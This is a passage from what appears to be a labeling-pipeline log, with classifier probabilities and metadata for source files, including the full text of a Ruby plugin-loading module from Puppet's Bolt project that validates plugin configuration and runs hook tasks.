"Art & Design": 0.004728402028018551, "Law & Crime": 4.647048461640733e-05, "Education & Careers": 4.14436029653298e-05, "Entertainment & Media": 2.7064251762816697e-05, "Fashion & Beauty": 0.0004929450677959456, "Business, Economics & Finance": 4.9626528127238904e-05, "Food & Dining": 2.2991288853050945e-05, "Games & Gaming": 8.002028179057899e-05, "Electronics & Hardware": 0.00010672306656051972, "Health, Healthcare & Wellness": 2.007073100563153e-05, "History & Geography": 3.040012152517438e-05, "Home, Pets & Hobbies": 5.9633045856201496e-05, "Industry & Production": 2.9297011882766415e-05, "Language, Literature & Philosophy": 5.1580348595408626e-05, "Politics & Government": 1.864289078299072e-05, "Religion & Spirituality": 2.513015242146134e-05, "Science, Mathematics & Engineering": 0.00017142007629378749, "Relationships & Community": 1.8125400982813536e-05, "Software Usage & Applications": 0.0016651349364829107, "Programming & Software Engineering": 0.9918442061241204, "Sports & Fitness": 3.9599729704306905e-05, "Vehicles & Transportation": 2.3585472607254047e-05, "Travel & Tourism": 3.726882409347219e-05, "Other / Uncovered Subject": 0.0002554821602568025, "Unknown / Insufficient Content": 7.171979871178675e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0003119226860815893, "Art & Design": 0.0297307230896429, "Law & Crime": 0.0002711687130308897, "Education & Careers": 0.0001572847297419719, "Entertainment & Media": 0.0001864764217207707, "Fashion & Beauty": 0.0009864748217906436, "Business, Economics & Finance": 0.00023027368402156885, "Food & Dining": 7.614439950038124e-05, "Games & Gaming": 0.00015967737066686753, "Electronics & Hardware": 0.00024290350851565164, "Health, Healthcare & Wellness": 9.311882465702302e-05, "History & Geography": 9.46725449392747e-05, "Home, Pets & Hobbies": 0.00010566114785489707, "Industry & Production": 6.968579975372632e-05, "Language, Literature & Philosophy": 0.00010637952363637949, "Politics & Government": 9.391855398204965e-05, "Religion & Spirituality": 0.00010902766924070452, "Science, Mathematics & Engineering": 0.00035597337481299487, "Relationships & Community": 6.907525299731255e-05, "Software Usage & Applications": 0.0039994680561506665, "Programming & Software Engineering": 0.00759011999932564, "Sports & Fitness": 8.109244267522174e-05, "Vehicles & Transportation": 4.80773542420657e-05, "Travel & Tourism": 0.000115043108163027, "Other / Uncovered Subject": 0.00028950644164584487, "NONE": 0.9544261304812099}}, "probabilities": {"primary": {"Academic Writing": 1.980744209830591e-05, "Content Listing": 1.9806922634275603e-05, "Creative Writing": 8.807384236781458e-06, "Customer Support Page": 8.242615856390714e-06, "Q&A Forum": 5.914405168708161e-06, "Discussion Thread": 4.0505794705151715e-06, "Comment Section": 5.9842250304277395e-06, "Missing Content": 1.641224147370572e-05, "Knowledge Article": 7.408841668584207e-05, "Legal Notices": 2.136443227558413e-05, "News Article": 2.576199525631032e-06, "Organizational Announcement": 6.45337348431197e-06, "Nonfiction Writing": 6.978925100893723e-06, "Organizational About Page": 6.556703039363722e-06, "Personal About Page": 4.9150189983270005e-06, "Personal Blog": 3.7180452580072416e-06, "Product Page": 4.004202091782955e-06, "Spam / Ads": 4.972265689433609e-06, "Structured Data": 0.0007555739190631332, "Technical Writing": 0.9979490095116778, "Transcript / Interview": 7.506458114175638e-06, "Tutorial / How-To Guide": 7.291116359850367e-05, "User Reviews": 3.4797289867098007e-06, "Other / Unknown": 0.0009868658204413485}, "secondary": {"Academic Writing": 6.101187983149011e-05, "Content Listing": 0.00013226360875905, "Creative Writing": 4.338551965356686e-05, "Customer Support Page": 4.4262365455150135e-05, "Q&A Forum": 1.764477802889426e-05, "Discussion Thread": 1.4880663563497501e-05, "Comment Section": 2.991256374221521e-05, "Missing Content": 0.00014391939861116933, "Knowledge Article": 0.00017904543209968418, "Legal Notices": 5.99058844967446e-05, "News Article": 2.48256811472867e-05, "Organizational Announcement": 2.7415079297700253e-05, "Nonfiction Writing": 2.272135410346819e-05, "Organizational About Page": 3.3477694711587436e-05, "Personal About Page": 2.1695728691910192e-05, "Personal Blog": 2.0329429659403018e-05, "Product Page": 1.5470225200684133e-05, "Spam / Ads": 2.7414909355356426e-05, "Structured Data": 0.004149179721332829, "Technical Writing": 0.004189090475077847, "Transcript / Interview": 2.8115787138526103e-05, "Tutorial / How-To Guide": 0.00019710913449935078, "User Reviews": 1.2523905526008491e-05, "NONE": 0.9905043987800166}, "tertiary": {"Academic Writing": 3.844946852837964e-05, "Content Listing": 0.00015511976743767822, "Creative Writing": 3.6413259683338e-05, "Customer Support Page": 4.803448101317865e-05, "Q&A Forum": 1.1792490951251947e-05, "Discussion Thread": 8.995992527356719e-06, "Comment Section": 2.960938928228747e-05, "Missing Content": 0.00022770446067593825, "Knowledge Article": 0.00014178175119393906, "Legal Notices": 9.442741911224312e-05, "News Article": 2.0252327782533556e-05, "Organizational Announcement": 2.2647725841492395e-05, "Nonfiction Writing": 1.9740863238949734e-05, "Organizational About Page": 3.106783111377119e-05, "Personal About Page": 1.424368781908145e-05, "Personal Blog": 1.3967690425482616e-05, "Product Page": 1.3421251456433862e-05, "Spam / Ads": 2.307337733862096e-05, "Structured Data": 0.001227301455028606, "Technical Writing": 0.0012751696565862273, "Transcript / Interview": 1.8119234237472406e-05, "Tutorial / How-To Guide": 0.00017759637277271775, "User Reviews": 1.0614254143661603e-05, "NONE": 0.9963404557918094}, "structured_records": {"false": 0.9894905780563644, "true": 0.01050942194363562}, "procedural_steps": {"false": 0.9963432194225297, "true": 0.003656780577470341}, "worked_solution": {"false": 0.9995913182396012, "true": 0.0004086817603987751}, "contextual_dialogue": {"false": 0.9999951897821536, "true": 4.810217846411066e-06}, "content_quality": {"-2": 0.00522557058109932, "-1": 0.013319639697987343, "0": 0.2010015855221947, "1": 0.4983251158495778, "2": 0.28212808834914094}, "noise_severity": {"0": 0.9980118296207127, "1": 0.0016794679318180715, "2": 0.00018505093280037584, "3": 7.255595096185468e-05, "4": 5.1095563707086494e-05}, "missing_content_severity": {"0": 0.9959487115502609, "1": 0.0026035390382624013, "2": 0.0009613629516669254, "3": 0.0003833849369617131, "4": 0.00010300152284797875}, "factual_density": {"0": 0.002809362692670608, "1": 0.005662909716598459, "2": 0.05780989788269805, "3": 0.29721158231449407, "4": 0.6365062473935388}, "pretraining_utility": {"-2": 0.007489163851589088, "-1": 0.10778324645790716, "0": 0.46476007820030985, "1": 0.3668513317353178, "2": 0.05311617975487618}, "math_density": {"0": 0.9749021946341222, "1": 0.021195193118158748, "2": 0.0010172828524132, "3": 0.0006162284796606826, "4": 0.0022691009156451877}, "code_density": {"0": 0.00015193852390884722, "1": 0.00027259216598300246, "2": 0.0054654748402138105, "3": 0.04319316147987635, "4": 0.9509168329900181}, "reasoning_density": {"0": 0.8260209062712408, "1": 0.06453079206538823, "2": 0.07688395385240583, "3": 0.019356966641633184, "4": 0.013207381169331813}, "education_level": {"none": 0.001278725010742046, "0": 0.0017378025678950826, "1": 0.010508889809169012, "2": 0.6299960682849155, "3": 0.30701330926446024, "4": 0.0494652050628181}, "creative_writing_quality": {"not_applicable": 0.9995737474585169, "-2": 5.3021103182166796e-05, "-1": 8.705167839031432e-05, "0": 0.00020908876809883718, "1": 5.60796616808308e-05, "2": 2.1011330131028738e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.3016574186509994e-05, "Art & Design": 0.004728402028018551, "Law & Crime": 4.647048461640733e-05, "Education & Careers": 4.14436029653298e-05, "Entertainment & Media": 2.7064251762816697e-05, "Fashion & Beauty": 0.0004929450677959456, "Business, Economics & Finance": 4.9626528127238904e-05, "Food & Dining": 2.2991288853050945e-05, "Games & Gaming": 8.002028179057899e-05, "Electronics & Hardware": 0.00010672306656051972, "Health, Healthcare & Wellness": 2.007073100563153e-05, "History & Geography": 3.040012152517438e-05, "Home, Pets & Hobbies": 5.9633045856201496e-05, "Industry & Production": 2.9297011882766415e-05, "Language, Literature & Philosophy": 5.1580348595408626e-05, "Politics & Government": 1.864289078299072e-05, "Religion & Spirituality": 2.513015242146134e-05, "Science, Mathematics & Engineering": 0.00017142007629378749, "Relationships & Community": 1.8125400982813536e-05, "Software Usage & Applications": 0.0016651349364829107, "Programming & Software Engineering": 0.9918442061241204, "Sports & Fitness": 3.9599729704306905e-05, "Vehicles & Transportation": 2.3585472607254047e-05, "Travel & Tourism": 3.726882409347219e-05, "Other / Uncovered Subject": 0.0002554821602568025, "Unknown / Insufficient Content": 7.171979871178675e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0003119226860815893, "Art & Design": 0.0297307230896429, "Law & Crime": 0.0002711687130308897, "Education & Careers": 0.0001572847297419719, "Entertainment & Media": 0.0001864764217207707, "Fashion & Beauty": 0.0009864748217906436, "Business, Economics & Finance": 0.00023027368402156885, "Food & Dining": 7.614439950038124e-05, "Games & Gaming": 0.00015967737066686753, "Electronics & Hardware": 0.00024290350851565164, "Health, Healthcare & Wellness": 9.311882465702302e-05, "History & Geography": 9.46725449392747e-05, "Home, Pets & Hobbies": 0.00010566114785489707, "Industry & Production": 6.968579975372632e-05, "Language, Literature & Philosophy": 0.00010637952363637949, "Politics & Government": 9.391855398204965e-05, "Religion & Spirituality": 0.00010902766924070452, "Science, Mathematics & Engineering": 0.00035597337481299487, "Relationships & Community": 6.907525299731255e-05, "Software Usage & Applications": 0.0039994680561506665, "Programming & Software Engineering": 0.00759011999932564, "Sports & Fitness": 8.109244267522174e-05, "Vehicles & Transportation": 4.80773542420657e-05, "Travel & Tourism": 0.000115043108163027, "Other / Uncovered Subject": 0.00028950644164584487, "NONE": 0.9544261304812099}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9805, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9805, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:37:10.456667+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "422136c4-46d2-44ee-8d4d-0da08f3ccbfe", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "d064f065233b0681f4b624adf0a8546cd414badbc9c8ef7ad32a7a4cfe6f3c73", "source_metadata": {"uuid": "422136c4-46d2-44ee-8d4d-0da08f3ccbfe", "repo_name": "Compass/compass", "relative_path": "core/lib/compass/frameworks.rb", "category": "TOOL", "algo_rel_score": 0.8131433725357056, "quality_score": 5.658702850341797, "source_meta": {"github_metadata": {"branch": "stable", "commit_count": 3536, "repo_created_at": "2008-08-23T17:02:18.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 6705, "forks": 1175, "issues": 413, "pull_requests": 44}, "file_meta": {"content_id": "dde9fc6a4f68e314124ffdd26e463552dbe620b1", "size_bytes": 5539, "file_timestamp": 1470332621, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "4de01475c98449c4435359544db443fd3da6e9d3"}}, "parsed_source_meta": {"github_metadata": {"branch": "stable", "commit_count": 3536, "repo_created_at": "2008-08-23T17:02:18.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 6705, "forks": 1175, "issues": 413, "pull_requests": 44}, "file_meta": {"content_id": "dde9fc6a4f68e314124ffdd26e463552dbe620b1", "size_bytes": 5539, "file_timestamp": 1470332621, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "4de01475c98449c4435359544db443fd3da6e9d3", "url": "https://github.com/Compass/compass/blob/4de01475c98449c4435359544db443fd3da6e9d3/core/lib/compass/frameworks.rb"}, "gpt4o_tokens": 1251, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.0388105116876736, "noise_severity": 0.002471619905132733, "missing_content_severity": 0.006088425843873307, "factual_density": 3.558942441999632, "pretraining_utility": 0.35032211708398486, "math_density": 0.03415484792454795, "code_density": 3.944450358246112, "reasoning_density": 0.32919912437242677, "education_level": 2.3924610742365062, "creative_writing_quality": -0.22285277756052627}, "score_applicability": {"education_level": 0.9987212749892579, "creative_writing_quality": 0.00042625254148317786}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/puppetlabs/bolt/blob/878b1e565f70c871210cd1d83203fd51ea88b645/lib/bolt/plugin/module.rb", "id": "ruby-0-68ac2911738d137ea96be01bd944f1de", "text": "# frozen_string_literal: true\n\nrequire_relative '../../bolt/task/run'\n\nmodule Bolt\n class Plugin\n class Module\n class InvalidPluginData < Bolt::Plugin::PluginError\n def initialize(msg, plugin)\n msg = \"Invalid Plugin Data for #{plugin}: #{msg}\"\n super(msg, 'bolt/invalid-plugin-data')\n end\n end\n\n # mod should not be nil\n def self.load(mod, opts)\n if mod.plugin?\n opts[:mod] = mod\n plugin = Bolt::Plugin::Module.new(**opts)\n plugin.setup\n plugin\n else\n raise PluginError::Unknown, mod.name\n end\n end\n\n attr_reader :config, :hook_map\n\n def initialize(mod:, context:, config:, **_opts)\n @module = mod\n @config = config\n @context = context\n end\n\n # This method interacts with the module on disk so it's separate from initialize\n def setup\n @data = load_data\n @hook_map = find_hooks(@data['hooks'] || {})\n\n if @data['config']\n msg = <<~MSG.chomp\n Found unsupported key 'config' in bolt_plugin.json. Config for a plugin is inferred\n from task parameters, with config values passed as parameters.\n MSG\n raise InvalidPluginData.new(msg, name)\n end\n\n # Validate againsts the intersection of all task schemas.\n @config_schema = process_schema(extract_task_parameter_schema)\n\n validate_config(@config, @config_schema)\n end\n\n def name\n @module.name\n end\n\n def hooks\n (@hook_map.keys + [:validate_resolve_reference]).uniq\n end\n\n def load_data\n JSON.parse(File.read(@module.plugin_data_file))\n rescue JSON::ParserError => e\n raise InvalidPluginData.new(e.message, name)\n end\n\n def process_schema(schema)\n raise InvalidPluginData.new('config specification is not an object', name) unless schema.is_a?(Hash)\n schema.each do |key, val|\n unless key =~ /\\\n raise InvalidPluginData.new(\"config specification key, '#{key}', is not allowed\", name)\n end\n\n unless val.is_a?(Hash) && (val['type'] || '').is_a?(String)\n raise InvalidPluginData.new(\"config specification #{val.to_json} is not allowed\", name)\n end\n\n type_string = val['type'] || 'Any'\n begin\n val['pcore_type'] = Puppet::Pops::Types::TypeParser.singleton.parse(type_string)\n if val['pcore_type'].is_a? Puppet::Pops::Types::PTypeReferenceType\n raise InvalidPluginData.new(\"Could not find type '#{type_string}' for #{key}\", name)\n end\n rescue Puppet::ParseError\n raise InvalidPluginData.new(\"Could not parse type '#{type_string}' for #{key}\", name)\n end\n end\n\n schema\n end\n\n def validate_config(config, config_schema)\n config.each_key do |key|\n msg = \"Config for #{name} plugin contains unexpected key #{key}\"\n raise Bolt::ValidationError, msg unless config_schema.include?(key)\n end\n\n config_schema.each do |key, spec|\n val = config[key]\n\n unless spec['pcore_type'].instance?(val)\n raise Bolt::ValidationError, \"#{name} plugin expects a #{spec['type']} for key #{key}, got: #{val}\"\n end\n val.nil?\n end\n nil\n end\n\n def find_hooks(hook_data)\n raise InvalidPluginData.new(\"'hooks' must be a hash\", name) unless hook_data.is_a?(Hash)\n\n hooks = {}\n # Load hooks specified in the config\n hook_data.each do |hook_name, hook_spec|\n unless hook_spec.is_a?(Hash) && hook_spec['task'].is_a?(String)\n msg = \"Unexpected hook specification #{hook_spec.to_json} in #{@name} for hook #{hook_name}\"\n raise InvalidPluginData.new(msg, name)\n end\n\n begin\n task = @context.get_validated_task(hook_spec['task'])\n rescue Bolt::Error => e\n msg = if e.kind == 'bolt/unknown-task'\n \"Plugin #{name} specified an unkown task '#{hook_spec['task']}' for a hook\"\n else\n \"Plugin #{name} could not load task '#{hook_spec['task']}': #{e.message}\"\n end\n raise InvalidPluginData.new(msg, name)\n end\n\n hooks[hook_name.to_sym] = { 'task' => task }\n end\n\n # Check for tasks for any hooks not already defined\n (Set.new(KNOWN_HOOKS.map) - hooks.keys).each do |hook_name|\n task_name = \"#{name}::#{hook_name}\"\n begin\n task = @context.get_validated_task(task_name)\n rescue Bolt::Error => e\n raise e unless e.kind == 'bolt/unknown-task'\n end\n hooks[hook_name] = { 'task' => task } if task\n end\n\n Bolt::Util.symbolize_top_level_keys(hooks)\n end\n\n def validate_params(task, params)\n @context.validate_params(task.name, params)\n end\n\n def process_params(task, opts)\n # opts are passed directly from inventory but all of the _ options are\n # handled previously. That may not always be the case so filter them\n # out now.\n meta, params = opts.partition { |key, _val| key.start_with?('_') }.map(&:to_h)\n\n # Reject parameters from config that are not accepted by the task and\n # merge in parameter defaults\n params = if task.parameters\n task.parameter_defaults\n .merge(config.slice(*task.parameters.keys))\n .merge(params)\n else\n config.merge(params)\n end\n\n validate_params(task, params)\n\n meta['_boltdir'] = @context.boltdir.to_s\n\n [params, meta]\n end\n\n def extract_task_parameter_schema\n # Get the intersection of expected types (using Set)\n type_set = @hook_map.each_with_object({}) do |(_hook, task), acc|\n next unless (schema = task['task'].metadata['parameters'])\n schema.each do |param, scheme|\n next unless scheme['type'].is_a?(String)\n scheme['type'] = Set.new([scheme['type']])\n if acc.dig(param, 'type').is_a?(Set)\n scheme['type'].merge(acc[param]['type'])\n end\n end\n acc.merge!(schema)\n end\n # Convert Set to string\n type_set.each do |_param, schema|\n next unless schema['type']\n schema['type'] = if schema['type'].size > 1\n \"Optional[Variant[#{schema['type'].to_a.join(', ')}]]\"\n else\n \"Optional[#{schema['type'].to_a.first}]\"\n end\n end\n end\n\n def run_task(task, opts)\n opts = opts.reject { |key, _val| key.start_with?('_') }\n params, metaparams = process_params(task, opts)\n params = params.merge(metaparams)\n\n # There are no executor options to pass now.\n options = { catch_errors: true }\n\n result = @context.run_local_task(task,\n params,\n options).first\n\n raise Bolt::Error.new(result.error_hash['msg'], result.error_hash['kind']) unless result.ok\n result.value\n end\n\n def run_hook(hook_name, opts, value = true)\n hook = @hook_map[hook_name]\n # This shouldn't happen if the Plugin api is used\n raise PluginError::UnsupportedHook.new(name, hook_name) unless hook\n result = run_task(hook['task'], opts)\n\n if value\n unless result.include?('value')\n msg = \"Plugin #{name} result did not include a value, got #{result}\"\n raise Bolt::Plugin::PluginError::ExecutionError.new(msg, name, hook_name)\n end\n\n result['value']\n end\n end\n\n def validate_resolve_reference(opts)\n task = @hook_map[:resolve_reference]['task']\n params, _metaparams = process_params(task, opts)\n\n if task\n validate_params(task, params)\n end\n\n if @hook_map.include?(:validate_resolve_reference)\n run_hook(:validate_resolve_reference, opts, false)\n end\n end\n\n # These are all the same but are defined explicitly for clarity\n def resolve_reference(opts)\n run_hook(__method__, opts)\n end\n\n def secret_encrypt(opts)\n run_hook(__method__, opts)\n end\n\n def secret_decrypt(opts)\n run_hook(__method__, opts)\n end\n\n def secret_createkeys(opts = {})\n run_hook(__method__, opts)\n end\n\n def puppet_library(opts, target, apply_prep)\n task = @hook_map[:puppet_library]['task']\n\n params, meta_params = process_params(task, opts)\n\n options = {}\n options[:run_as] = meta_params['_run_as'] if meta_params['_run_as']\n\n proc do\n apply_prep.run_task([target], task, params, options).first\n end\n end\n end\n end\nend\n", "text_preview": "# frozen_string_literal: true require_relative '../../bolt/task/run' module Bolt class Plugin class Module class InvalidPluginData < Bolt::Plugin::PluginError def initialize(msg, plugin) msg = \"Invalid Plugin Data for #{plugin}: #{msg}\" sup", "input_sha256": "46c4e0f694cff1968325d5c1f4740ddd7a2de240c9aee8818a25a64f691ecae7", "text_sha256": "68ac2911738d137ea96be01bd944f1debfbe1e61c0025e9a96b5415ae2985449", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16119, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.9889233032647575, "noise_severity": 0.01974345370888878, "missing_content_severity": 0.029197714137247078, "factual_density": 3.5963896940853664, "pretraining_utility": 0.5119278344766299, "math_density": 0.0061145052334136704, "code_density": 3.955311707171992, "reasoning_density": 0.790292081677586, "education_level": 2.7659258449905035, "creative_writing_quality": -0.28758092907405697}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.006512178229694743, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9980997671227978, "secondary": 0.9854045042424937, "tertiary": 0.9921998206560884, "structured_records": 0.005311550132920123, "procedural_steps": 0.00331033260715098, "worked_solution": 0.0010479924247107756, "contextual_dialogue": 5.273157791484687e-06, "content_quality": 0.5109234366154652, "noise_severity": 0.9835471219092593, "missing_content_severity": 0.9756685715522941, "factual_density": 0.6636580784044717, "pretraining_utility": 0.46694306600898905, "math_density": 0.9949045789721552, "code_density": 0.9627597559766599, "reasoning_density": 0.3414232652686784, "education_level": 0.42500116050372183, "creative_writing_quality": 0.9996461121441745, "primary_topic": 0.9980753822599396, "secondary_topic": 0.9812261302259815}, "probability_margin": {"primary": 0.9971834820527546, "secondary": 0.979128050042106, "tertiary": 0.9888950176348165, "education_level": 0.17315151648196903, "creative_writing_quality": 0.9995789774567447, "primary_topic": 0.9972020179889077, "secondary_topic": 0.9714611404893251}, "raw_probabilities": {"primary": {"Academic Writing": 2.705591052323262e-05, "Content Listing": 1.773387898638255e-05, "Creative Writing": 9.749783549040737e-06, "Customer Support Page": 7.521915867066546e-06, "Q&A Forum": 6.6313035399062505e-06, "Discussion Thread": 3.880867214379095e-06, "Comment Section": 6.294438127318274e-06, "Missing Content": 1.303912665843667e-05, "Knowledge Article": 6.65985195389058e-05, "Legal Notices": 2.2538154293294053e-05, "News Article": 2.9250800834377856e-06, "Organizational Announcement": 6.985657651870788e-06, "Nonfiction Writing": 7.325550705525937e-06, "Organizational About Page": 7.2302866080746115e-06, "Personal About Page": 4.771946028633728e-06, "Personal Blog": 4.2228301062704205e-06, "Product Page": 4.5564547718624336e-06, "Spam / Ads": 5.636164274545317e-06, "Structured Data": 0.0005247159141618103, "Technical Writing": 0.9981789434926812, "Transcript / Interview": 9.86037490592602e-06, "Tutorial / How-To Guide": 6.227659281561384e-05, "User Reviews": 4.044316980908835e-06, "Other / Unknown": 0.000995461439926528}, "secondary": {"Academic Writing": 0.00012549157613040153, "Content Listing": 8.225940559020454e-05, "Creative Writing": 0.00010144219741322708, "Customer Support Page": 7.007616536562984e-05, "Q&A Forum": 3.439687558456801e-05, "Discussion Thread": 3.0509186576634587e-05, "Comment Section": 7.614915732853545e-05, "Missing Content": 0.0004585972423905454, "Knowledge Article": 0.0006854453918485876, "Legal Notices": 0.00021091217611516886, "News Article": 5.20337638390486e-05, "Organizational Announcement": 4.8058560160985955e-05, "Nonfiction Writing": 5.6336356016391874e-05, "Organizational About Page": 5.813600087172359e-05, "Personal About Page": 4.283731344690101e-05, "Personal Blog": 4.077772764827922e-05, "Product Page": 3.0371192579673807e-05, "Spam / Ads": 5.75570308059398e-05, "Structured Data": 0.004365288873193962, "Technical Writing": 0.006884599856950417, "Transcript / Interview": 5.968264011393249e-05, "Tutorial / How-To Guide": 0.0003911596128865673, "User Reviews": 2.523179808612813e-05, "NONE": 0.9860126498990565}, "tertiary": {"Academic Writing": 7.447752117173137e-05, "Content Listing": 5.493592348342686e-05, "Creative Writing": 6.855238907640078e-05, "Customer Support Page": 4.6539751834884717e-05, "Q&A Forum": 1.948235514235142e-05, "Discussion Thread": 1.784712093509435e-05, "Comment Section": 6.510737662929633e-05, "Missing Content": 0.0004962533734152436, "Knowledge Article": 0.0005351744883227721, "Legal Notices": 0.0003042044691671982, "News Article": 3.591201504138885e-05, "Organizational Announcement": 3.246348623209676e-05, "Nonfiction Writing": 4.429966291465862e-05, "Organizational About Page": 4.279981111699693e-05, "Personal About Page": 2.6129736306597805e-05, "Personal Blog": 2.7820650008852144e-05, "Product Page": 1.9736808833319632e-05, "Spam / Ads": 3.782047844207634e-05, "Structured Data": 0.00151960150686803, "Technical Writing": 0.0036298104939348824, "Transcript / Interview": 3.7479644047982986e-05, "Tutorial / How-To Guide": 0.00032149215022717753, "User Reviews": 1.7230658096215864e-05, "NONE": 0.9925248281287513}, "structured_records": {"false": 0.9946884498670798, "true": 0.005311550132920123}, "procedural_steps": {"false": 0.996689667392849, "true": 0.00331033260715098}, "worked_solution": {"false": 0.9989520075752892, "true": 0.0010479924247107756}, "contextual_dialogue": {"false": 0.9999947268422085, "true": 5.273157791484687e-06}, "content_quality": {"-2": 0.007779600834910375, "-1": 0.03530539672519868, "0": 0.20503469044321357, "1": 0.46397272233357767, "2": 0.28790758966309965}, "noise_severity": {"0": 0.983212940615836, "1": 0.014935451873247652, "2": 0.0009967527489596788, "3": 0.0006049227101047975, "4": 0.0002499320518518431}, "missing_content_severity": {"0": 0.9791298291149144, "1": 0.014283774340874167, "2": 0.005141467247729999, "3": 0.0011487118850123381, "4": 0.00029621741146897395}, "factual_density": {"0": 0.002329622678059608, "1": 0.004187630060906421, "2": 0.0440177497583996, "3": 0.2936934255028771, "4": 0.6557715719997573}, "pretraining_utility": {"-2": 0.007556840765112455, "-1": 0.07494255020414703, "0": 0.39131462045266013, "1": 0.4503879109451587, "2": 0.07579807763292158}, "math_density": {"0": 0.9958734508464486, "1": 0.00321167720821973, "2": 0.000294048652207437, "3": 0.00016856245171772315, "4": 0.00045226084140647424}, "code_density": {"0": 0.00013597526039910838, "1": 0.000218139328179905, "2": 0.0033200113199492254, "3": 0.036849951161973496, "4": 0.9594759229294983}, "reasoning_density": {"0": 0.6110230395977475, "1": 0.15287234718210402, "2": 0.12209882864852147, "3": 0.06280106108806882, "4": 0.05120472348355811}, "education_level": {"none": 0.0010379142248821216, "0": 0.0011445603090817456, "1": 0.004005060785919686, "2": 0.34768278393779917, "3": 0.5208343004197682, "4": 0.12529538032254914}, "creative_writing_quality": {"not_applicable": 0.9997050934534788, "-2": 4.771911955961608e-05, "-1": 6.294594280790431e-05, "0": 0.00012611599673411885, "1": 4.267629155083483e-05, "2": 1.544919586884023e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.775458318390143e-05, "Art & Design": 4.973385265761199e-05, "Law & Crime": 1.973724067722768e-05, "Education & Careers": 2.0693822715891968e-05, "Entertainment & Media": 1.519006544565642e-05, "Fashion & Beauty": 